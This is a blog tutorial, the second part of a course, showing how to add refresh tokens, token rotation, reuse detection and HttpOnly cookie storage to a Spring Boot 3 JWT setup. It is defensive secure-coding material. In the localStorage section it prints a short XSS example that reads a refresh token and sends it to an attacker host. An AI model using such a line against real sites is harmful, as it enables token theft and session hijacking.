Cristhian Villegas
Cursos14 min read0 views

JWT in Spring Boot 3 Course #2: Refresh Tokens and Secure Rotation

JWT in Spring Boot 3 Course #2: Refresh Tokens and Secure Rotation

Refresh Tokens in Spring Boot

Source: Markus Spiske — Unsplash

Part 2 of 4 — Refresh Tokens

Welcome back to the JWT in Spring Boot 3 Course. In Part 1, we built a complete JWT authentication system from scratch — generating access tokens, validating them through a custom filter, and securing our REST endpoints with Spring Security 6.

However, our implementation has a critical limitation: when the access token expires, the user must log in again. For a 15-minute token, that means re-entering credentials up to 32 times during an 8-hour workday. That is unacceptable for any production application.

In this article, we solve that problem with refresh tokens — a second, longer-lived token that allows clients to obtain a new access token without re-authentication. We will also implement token rotation, a security technique that ensures stolen refresh tokens can only be used once.

What you will learn:
  • Why short-lived access tokens alone are not enough
  • How to model a RefreshToken entity with JPA
  • Creating, verifying, and rotating refresh tokens
  • Updating the AuthController to issue and accept refresh tokens
  • Secure client-side storage strategies (HttpOnly cookies vs localStorage)
  • Error handling for expired, revoked, and reused tokens

Why Do We Need Refresh Tokens?

Access tokens should be short-lived — typically 5 to 15 minutes. This limits the damage window if a token is stolen: an attacker has at most 15 minutes before the token becomes useless. This is a fundamental security principle.

But short-lived tokens create a user experience problem. Imagine using a banking application and being logged out every 15 minutes while reviewing your transactions. Or writing a long document in a SaaS application and losing your session mid-paragraph.

The solution is a two-token architecture:

  1. Access Token — short-lived (15 min), sent with every API request, used for authorization.
  2. Refresh Token — long-lived (7 days), stored securely, used only to request a new access token.

When the access token expires, the client sends the refresh token to a dedicated endpoint. The server validates the refresh token and issues a new pair of tokens (access + refresh). The user never notices the token rotation happening in the background.

Key insight: The refresh token never leaves the token endpoint. It is never sent to your API endpoints, never stored in JavaScript-accessible storage (if using cookies), and never included in Authorization headers for regular requests.

Access Token vs Refresh Token

Understanding the differences between these two token types is essential for implementing them correctly:

PropertyAccess TokenRefresh Token
FormatJWT (self-contained)Opaque UUID (stored in DB)
Lifetime5–15 minutes7–30 days
Storage (client)Memory or HttpOnly cookieHttpOnly cookie (never localStorage)
Sent withEvery API request (Authorization header)Only to /auth/refresh endpoint
PurposeAuthorize API requestsObtain new access token
RevocableNot easily (stateless)Yes (stored in database)
If compromisedAttacker has access for minutesAttacker can generate new access tokens
ValidationSignature + expiry check (no DB call)Database lookup + expiry + revocation check
Why not just make the access token long-lived? Because JWTs are stateless — once issued, you cannot revoke them until they expire. A stolen 30-day JWT gives an attacker 30 days of unrestricted access. Refresh tokens stored in a database can be revoked instantly.

Complete Authentication Flow with Refresh Tokens

Here is the complete flow from login to token refresh, step by step:

  1. Login: The client sends credentials to POST /auth/login. The server validates them, generates an access token (JWT, 15 min) and a refresh token (UUID, 7 days), and returns both.
  2. API Requests: The client includes the access token in the Authorization: Bearer <token> header for every API call. The server validates the JWT signature and expiry without hitting the database.
  3. Access Token Expires: After 15 minutes, the API returns 401 Unauthorized. The client detects this (typically via an HTTP interceptor).
  4. Token Refresh: The client sends the refresh token to POST /auth/refresh. The server validates the refresh token against the database — checking existence, expiry, and revocation status.
  5. Token Rotation: The server revokes the old refresh token, generates a new access token and a new refresh token, and returns the new pair to the client.
  6. Transparent to User: The client retries the failed request with the new access token. The user never sees an interruption.
  7. Refresh Token Expires: After 7 days without use, the refresh token expires. The client redirects to the login page for full re-authentication.
text
1Client                                Server
2  |                                      |
3  |--- POST /auth/login (credentials) -->|
4  |<-- 200 { accessToken, refreshToken } |
5  |                                      |
6  |--- GET /api/data (Bearer access) --->|
7  |<-- 200 { data }                      |
8  |                                      |
9  |--- GET /api/data (expired access) -->|
10  |<-- 401 Unauthorized                  |
11  |                                      |
12  |--- POST /auth/refresh (refresh) ---->|
13  |<-- 200 { newAccess, newRefresh }     |
14  |                                      |
15  |--- GET /api/data (Bearer newAccess)->|
16  |<-- 200 { data }                      |

RefreshToken Entity

Unlike access tokens (which are stateless JWTs), refresh tokens must be stored server-side so we can revoke them. We will create a JPA entity backed by a PostgreSQL table.

java
1package com.example.auth.entity;
2
3import jakarta.persistence.*;
4import java.time.Instant;
5
6@Entity
7@Table(name = "refresh_tokens", indexes = {
8    @Index(name = "idx_refresh_token", columnList = "token", unique = true),
9    @Index(name = "idx_refresh_user", columnList = "userId")
10})
11public class RefreshToken {
12
13    @Id
14    @GeneratedValue(strategy = GenerationType.IDENTITY)
15    private Long id;
16
17    @Column(nullable = false, unique = true, length = 255)
18    private String token;
19
20    @Column(nullable = false)
21    private Long userId;
22
23    @Column(nullable = false)
24    private Instant expiryDate;
25
26    @Column(nullable = false)
27    private boolean revoked = false;
28
29    @Column(nullable = false, updatable = false)
30    private Instant createdAt = Instant.now();
31
32    // --- Constructors ---
33
34    public RefreshToken() {}
35
36    public RefreshToken(String token, Long userId, Instant expiryDate) {
37        this.token = token;
38        this.userId = userId;
39        this.expiryDate = expiryDate;
40    }
41
42    // --- Domain methods ---
43
44    public boolean isExpired() {
45        return Instant.now().isAfter(this.expiryDate);
46    }
47
48    public boolean isUsable() {
49        return !this.revoked && !isExpired();
50    }
51
52    public void revoke() {
53        this.revoked = true;
54    }
55
56    // --- Getters and Setters ---
57
58    public Long getId() { return id; }
59
60    public String getToken() { return token; }
61    public void setToken(String token) { this.token = token; }
62
63    public Long getUserId() { return userId; }
64    public void setUserId(Long userId) { this.userId = userId; }
65
66    public Instant getExpiryDate() { return expiryDate; }
67    public void setExpiryDate(Instant expiryDate) { this.expiryDate = expiryDate; }
68
69    public boolean isRevoked() { return revoked; }
70    public void setRevoked(boolean revoked) { this.revoked = revoked; }
71
72    public Instant getCreatedAt() { return createdAt; }
73}

Now create the repository with custom queries for token lookup and bulk revocation:

java
1package com.example.auth.repository;
2
3import com.example.auth.entity.RefreshToken;
4import org.springframework.data.jpa.repository.JpaRepository;
5import org.springframework.data.jpa.repository.Modifying;
6import org.springframework.data.jpa.repository.Query;
7import org.springframework.data.repository.query.Param;
8import org.springframework.stereotype.Repository;
9
10import java.time.Instant;
11import java.util.Optional;
12
13@Repository
14public interface RefreshTokenRepository extends JpaRepository<RefreshToken, Long> {
15
16    Optional<RefreshToken> findByToken(String token);
17
18    @Modifying
19    @Query("UPDATE RefreshToken rt SET rt.revoked = true WHERE rt.userId = :userId AND rt.revoked = false")
20    int revokeAllByUserId(@Param("userId") Long userId);
21
22    @Modifying
23    @Query("DELETE FROM RefreshToken rt WHERE rt.expiryDate < :now")
24    int deleteExpiredTokens(@Param("now") Instant now);
25}
Why use an opaque UUID instead of a JWT for the refresh token? Because refresh tokens are always validated against the database anyway (to check revocation). Making them self-contained JWTs adds no benefit and increases the payload size. A simple UUID is sufficient and more secure since it carries no decodable information.

Refresh Token Service

The service layer handles three core operations: creating a new refresh token, verifying that a token is valid, and rotating tokens (revoking the old one and issuing a new one atomically).

java
1package com.example.auth.service;
2
3import com.example.auth.entity.RefreshToken;
4import com.example.auth.exception.TokenRefreshException;
5import com.example.auth.repository.RefreshTokenRepository;
6import org.springframework.beans.factory.annotation.Value;
7import org.springframework.stereotype.Service;
8import org.springframework.transaction.annotation.Transactional;
9
10import java.time.Instant;
11import java.util.UUID;
12
13@Service
14public class RefreshTokenService {
15
16    private final RefreshTokenRepository refreshTokenRepository;
17    private final long refreshTokenDurationMs;
18
19    public RefreshTokenService(
20            RefreshTokenRepository refreshTokenRepository,
21            @Value("${app.security.refresh-token.expiration-ms:604800000}") long refreshTokenDurationMs) {
22        this.refreshTokenRepository = refreshTokenRepository;
23        this.refreshTokenDurationMs = refreshTokenDurationMs;
24    }
25
26    @Transactional
27    public RefreshToken createRefreshToken(Long userId) {
28        RefreshToken refreshToken = new RefreshToken(
29            UUID.randomUUID().toString(),
30            userId,
31            Instant.now().plusMillis(refreshTokenDurationMs)
32        );
33        return refreshTokenRepository.save(refreshToken);
34    }
35
36    @Transactional(readOnly = true)
37    public RefreshToken verifyRefreshToken(String token) {
38        RefreshToken refreshToken = refreshTokenRepository.findByToken(token)
39            .orElseThrow(() -> new TokenRefreshException(
40                "Refresh token not found. Please log in again."));
41
42        if (refreshToken.isRevoked()) {
43            // Potential token reuse detected — revoke ALL tokens for this user
44            revokeAllUserTokens(refreshToken.getUserId());
45            throw new TokenRefreshException(
46                "Refresh token was already used. All sessions have been revoked for security.");
47        }
48
49        if (refreshToken.isExpired()) {
50            refreshTokenRepository.delete(refreshToken);
51            throw new TokenRefreshException(
52                "Refresh token has expired. Please log in again.");
53        }
54
55        return refreshToken;
56    }
57
58    @Transactional
59    public RefreshToken rotateRefreshToken(RefreshToken oldToken) {
60        // Step 1: Revoke the old refresh token
61        oldToken.revoke();
62        refreshTokenRepository.save(oldToken);
63
64        // Step 2: Create and return a new refresh token for the same user
65        return createRefreshToken(oldToken.getUserId());
66    }
67
68    @Transactional
69    public void revokeAllUserTokens(Long userId) {
70        int revoked = refreshTokenRepository.revokeAllByUserId(userId);
71        if (revoked > 0) {
72            System.out.println("Revoked " + revoked + " refresh tokens for user " + userId);
73        }
74    }
75
76    @Transactional
77    public int purgeExpiredTokens() {
78        return refreshTokenRepository.deleteExpiredTokens(Instant.now());
79    }
80}

And the custom exception class:

java
1package com.example.auth.exception;
2
3import org.springframework.http.HttpStatus;
4import org.springframework.web.bind.annotation.ResponseStatus;
5
6@ResponseStatus(HttpStatus.FORBIDDEN)
7public class TokenRefreshException extends RuntimeException {
8
9    public TokenRefreshException(String message) {
10        super(message);
11    }
12}
Token reuse detection is critical. In the verifyRefreshToken method, if we detect that a revoked token is being used again, we revoke ALL tokens for that user. This is because an attacker may have stolen the old refresh token and is trying to use it after the legitimate user already rotated it. Revoking everything forces the real user to re-authenticate — inconvenient, but far better than an active session hijack.

Updating the AuthController

Now we integrate refresh tokens into the authentication controller. The login endpoint returns both tokens, and a new /auth/refresh endpoint handles token rotation.

java
1package com.example.auth.controller;
2
3import com.example.auth.dto.AuthRequest;
4import com.example.auth.dto.AuthResponse;
5import com.example.auth.dto.RefreshRequest;
6import com.example.auth.entity.RefreshToken;
7import com.example.auth.service.JwtService;
8import com.example.auth.service.RefreshTokenService;
9import jakarta.validation.Valid;
10import org.springframework.http.ResponseEntity;
11import org.springframework.security.authentication.AuthenticationManager;
12import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
13import org.springframework.security.core.Authentication;
14import org.springframework.security.core.userdetails.UserDetails;
15import org.springframework.security.core.userdetails.UserDetailsService;
16import org.springframework.web.bind.annotation.*;
17
18@RestController
19@RequestMapping("/auth")
20public class AuthController {
21
22    private final AuthenticationManager authenticationManager;
23    private final JwtService jwtService;
24    private final RefreshTokenService refreshTokenService;
25    private final UserDetailsService userDetailsService;
26
27    public AuthController(AuthenticationManager authenticationManager,
28                          JwtService jwtService,
29                          RefreshTokenService refreshTokenService,
30                          UserDetailsService userDetailsService) {
31        this.authenticationManager = authenticationManager;
32        this.jwtService = jwtService;
33        this.refreshTokenService = refreshTokenService;
34        this.userDetailsService = userDetailsService;
35    }
36
37    @PostMapping("/login")
38    public ResponseEntity<AuthResponse> login(@Valid @RequestBody AuthRequest request) {
39        Authentication authentication = authenticationManager.authenticate(
40            new UsernamePasswordAuthenticationToken(request.username(), request.password())
41        );
42
43        UserDetails userDetails = (UserDetails) authentication.getPrincipal();
44        String accessToken = jwtService.generateToken(userDetails);
45        RefreshToken refreshToken = refreshTokenService.createRefreshToken(
46            getUserId(userDetails)
47        );
48
49        return ResponseEntity.ok(new AuthResponse(
50            accessToken,
51            refreshToken.getToken(),
52            jwtService.getExpirationMs()
53        ));
54    }
55
56    @PostMapping("/refresh")
57    public ResponseEntity<AuthResponse> refresh(@Valid @RequestBody RefreshRequest request) {
58        // Step 1: Verify the refresh token (checks expiry, revocation, reuse)
59        RefreshToken oldToken = refreshTokenService.verifyRefreshToken(
60            request.refreshToken()
61        );
62
63        // Step 2: Rotate — revoke old token, create new one
64        RefreshToken newRefreshToken = refreshTokenService.rotateRefreshToken(oldToken);
65
66        // Step 3: Generate a new access token for the user
67        UserDetails userDetails = userDetailsService.loadUserByUsername(
68            getUsernameByUserId(oldToken.getUserId())
69        );
70        String newAccessToken = jwtService.generateToken(userDetails);
71
72        return ResponseEntity.ok(new AuthResponse(
73            newAccessToken,
74            newRefreshToken.getToken(),
75            jwtService.getExpirationMs()
76        ));
77    }
78
79    @PostMapping("/logout")
80    public ResponseEntity<Void> logout(@Valid @RequestBody RefreshRequest request) {
81        RefreshToken token = refreshTokenService.verifyRefreshToken(
82            request.refreshToken()
83        );
84        refreshTokenService.revokeAllUserTokens(token.getUserId());
85        return ResponseEntity.noContent().build();
86    }
87
88    // Helper methods — in production, use a proper UserRepository
89    private Long getUserId(UserDetails userDetails) {
90        // Cast to your custom UserDetails implementation that includes the ID
91        // Example: return ((AppUserDetails) userDetails).getId();
92        throw new UnsupportedOperationException("Implement based on your UserDetails");
93    }
94
95    private String getUsernameByUserId(Long userId) {
96        // Look up username from your UserRepository
97        // Example: return userRepository.findById(userId).orElseThrow().getUsername();
98        throw new UnsupportedOperationException("Implement based on your UserRepository");
99    }
100}

The DTOs used by the controller:

java
1// AuthRequest.java
2package com.example.auth.dto;
3
4import jakarta.validation.constraints.NotBlank;
5
6public record AuthRequest(
7    @NotBlank String username,
8    @NotBlank String password
9) {}
10
11// RefreshRequest.java
12package com.example.auth.dto;
13
14import jakarta.validation.constraints.NotBlank;
15
16public record RefreshRequest(
17    @NotBlank String refreshToken
18) {}
19
20// AuthResponse.java
21package com.example.auth.dto;
22
23public record AuthResponse(
24    String accessToken,
25    String refreshToken,
26    long expiresIn
27) {}
Why return expiresIn? The client can use this value to set a timer and proactively refresh the token before it expires, avoiding the 401-then-retry dance entirely. A common pattern is to refresh at 80% of the token's lifetime.

Token Rotation

Token rotation is the single most important security measure for refresh tokens. Without it, a stolen refresh token grants an attacker indefinite access — they can keep requesting new access tokens forever. With rotation, each refresh token can only be used once.

Here is how the rotation flow works:

  1. Client sends refresh token RT-1 to /auth/refresh.
  2. Server verifies RT-1 is valid and not revoked.
  3. Server marks RT-1 as revoked in the database.
  4. Server creates a new refresh token RT-2 and a new access token.
  5. Server returns both new tokens to the client.
  6. If anyone tries to use RT-1 again (attacker or compromised client), the server detects the reuse and revokes all tokens for that user.

The reuse detection in step 6 is crucial. Consider this attack scenario:

  1. Attacker steals RT-1 before the legitimate user uses it.
  2. Attacker uses RT-1 to get RT-2a + new access token.
  3. Legitimate user tries to use RT-1 — but it is already revoked.
  4. Server detects reuse of a revoked token and revokes ALL tokens (including RT-2a).
  5. Both attacker and user must re-authenticate. The attack is neutralized.
Race condition consideration: If your application makes multiple concurrent API calls that all fail with 401, you might trigger multiple simultaneous refresh requests. Use a mutex or queue on the client side to ensure only one refresh request is made at a time. Libraries like axios provide interceptor patterns for this.

You can also add a scheduled task to clean up expired tokens from the database periodically:

java
1package com.example.auth.scheduler;
2
3import com.example.auth.service.RefreshTokenService;
4import org.springframework.scheduling.annotation.Scheduled;
5import org.springframework.stereotype.Component;
6
7@Component
8public class TokenPurgeScheduler {
9
10    private final RefreshTokenService refreshTokenService;
11
12    public TokenPurgeScheduler(RefreshTokenService refreshTokenService) {
13        this.refreshTokenService = refreshTokenService;
14    }
15
16    // Run every day at 2:00 AM
17    @Scheduled(cron = "0 0 2 * * ?")
18    public void purgeExpiredTokens() {
19        int deleted = refreshTokenService.purgeExpiredTokens();
20        if (deleted > 0) {
21            System.out.println("Purged " + deleted + " expired refresh tokens");
22        }
23    }
24}

Secure Client-Side Storage

Where you store tokens on the client is as important as how you generate them on the server. The wrong storage choice can negate all your server-side security measures.

localStorage — Avoid for Refresh Tokens

Storing tokens in localStorage makes them accessible to any JavaScript running on your page. A single XSS vulnerability (including from a compromised third-party script) can steal the token:

javascript
1// An attacker's injected script can do this:
2const stolenToken = localStorage.getItem('refreshToken');
3fetch('https://attacker.com/steal?token=' + stolenToken);

HttpOnly Cookies — The Recommended Approach

HttpOnly cookies cannot be accessed by JavaScript. Combined with the Secure, SameSite, and Path attributes, they provide strong protection:

java
1import org.springframework.http.ResponseCookie;
2import org.springframework.http.HttpHeaders;
3
4// In your AuthController, instead of returning the refresh token in the body:
5private void addRefreshTokenCookie(HttpServletResponse response, String refreshToken) {
6    ResponseCookie cookie = ResponseCookie.from("refresh_token", refreshToken)
7        .httpOnly(true)       // Not accessible via JavaScript
8        .secure(true)         // Only sent over HTTPS
9        .sameSite("Strict")   // Not sent with cross-site requests
10        .path("/auth/refresh") // Only sent to the refresh endpoint
11        .maxAge(7 * 24 * 60 * 60) // 7 days
12        .build();
13
14    response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
15}
AttributePurposeRecommended Value
HttpOnlyPrevents JavaScript accesstrue
SecureHTTPS onlytrue
SameSiteCSRF protectionStrict or Lax
PathLimits which endpoints receive the cookie/auth/refresh
Max-AgeCookie expirationMatch refresh token TTL
CSRF Warning: When using cookies, you must protect against Cross-Site Request Forgery. The SameSite=Strict attribute handles most cases, but for additional protection, consider implementing a CSRF token or using the double-submit cookie pattern. Spring Security provides built-in CSRF protection that works well with this approach.

Error Handling and Edge Cases

A production-ready refresh token implementation must handle several edge cases gracefully. Here is a global exception handler that produces consistent API error responses:

java
1package com.example.auth.exception;
2
3import org.springframework.http.HttpStatus;
4import org.springframework.http.ProblemDetail;
5import org.springframework.web.bind.annotation.ExceptionHandler;
6import org.springframework.web.bind.annotation.RestControllerAdvice;
7
8import java.net.URI;
9import java.time.Instant;
10
11@RestControllerAdvice
12public class AuthExceptionHandler {
13
14    @ExceptionHandler(TokenRefreshException.class)
15    public ProblemDetail handleTokenRefreshException(TokenRefreshException ex) {
16        ProblemDetail problem = ProblemDetail.forStatusAndDetail(
17            HttpStatus.FORBIDDEN, ex.getMessage()
18        );
19        problem.setTitle("Token Refresh Failed");
20        problem.setType(URI.create("https://api.example.com/errors/token-refresh"));
21        problem.setProperty("timestamp", Instant.now());
22        return problem;
23    }
24}

The key edge cases you must handle:

1. Expired Refresh Token

When the refresh token has passed its expiry date, delete it from the database and return a 403 response. The client must redirect to the login page.

2. Already Revoked Token (Reuse Detection)

If a revoked token is presented, this indicates either a replay attack or a legitimate client that did not receive the rotated token. In both cases, revoke all tokens for the user as a precaution. Log this event for security monitoring.

3. Concurrent Refresh Requests

When the client makes multiple API calls and all receive 401, it may fire multiple refresh requests simultaneously. The first request succeeds and rotates the token. The second request arrives with the now-revoked old token and triggers reuse detection.

Solution: Implement a client-side mutex that queues refresh requests:

typescript
1// Angular/TypeScript interceptor with refresh queue
2private isRefreshing = false;
3private refreshSubject = new BehaviorSubject<string | null>(null);
4
5intercept(req: HttpRequest<unknown>, next: HttpHandlerFn): Observable<HttpEvent<unknown>> {
6  return next(req).pipe(
7    catchError((error: HttpErrorResponse) => {
8      if (error.status === 401 && !req.url.includes('/auth/refresh')) {
9        return this.handle401Error(req, next);
10      }
11      return throwError(() => error);
12    })
13  );
14}
15
16private handle401Error(req: HttpRequest<unknown>, next: HttpHandlerFn) {
17  if (!this.isRefreshing) {
18    this.isRefreshing = true;
19    this.refreshSubject.next(null);
20
21    return this.authService.refreshToken().pipe(
22      switchMap((response) => {
23        this.isRefreshing = false;
24        this.refreshSubject.next(response.accessToken);
25        return next(this.addToken(req, response.accessToken));
26      }),
27      catchError((err) => {
28        this.isRefreshing = false;
29        this.authService.logout();
30        return throwError(() => err);
31      })
32    );
33  }
34
35  // Other requests wait until the refresh completes
36  return this.refreshSubject.pipe(
37    filter((token) => token !== null),
38    take(1),
39    switchMap((token) => next(this.addToken(req, token!)))
40  );
41}

4. Token Not Found

If the token does not exist in the database (possibly already purged by the cleanup scheduler), return a clear error message instructing the client to re-authenticate.

Monitoring tip: Track refresh token usage patterns. An unusually high number of refresh requests from a single user or IP address may indicate token theft or brute-force attempts. Consider implementing rate limiting on the /auth/refresh endpoint.

Next Steps

We now have a complete authentication system with access tokens and refresh token rotation. However, there is still a gap: what happens if we need to revoke an access token immediately? For example, when an admin disables a user account or a user changes their password — we cannot wait 15 minutes for the access token to expire naturally.

In Part 3: JTI Claim and Redis Blacklisting, we will:

  • Add a unique identifier (JTI — JWT ID) to every access token
  • Implement a Redis-based blacklist that stores revoked JTIs
  • Modify the JWT filter to check the blacklist on every request
  • Build an instant revocation system that invalidates access tokens in real time
  • Handle the performance implications of adding a Redis check to every request

This is where our architecture transitions from a purely stateless system to a hybrid approach that combines the performance benefits of JWTs with the control of server-side session management.

Course Progress: Part 1 (JWT Fundamentals) ✅ → Part 2 (Refresh Tokens) ✅ → Part 3 (JTI + Redis Blacklisting) → Part 4 (TOTP + MFA)
Share:
CV

Cristhian Villegas

Software Engineer specializing in Java, Spring Boot, Angular & AWS. Building scalable distributed systems with clean architecture.

Comments

Sign in to leave a comment

No comments yet. Be the first!

Related Articles

Stay updated

Get notified when I publish new articles. No spam, unsubscribe anytime.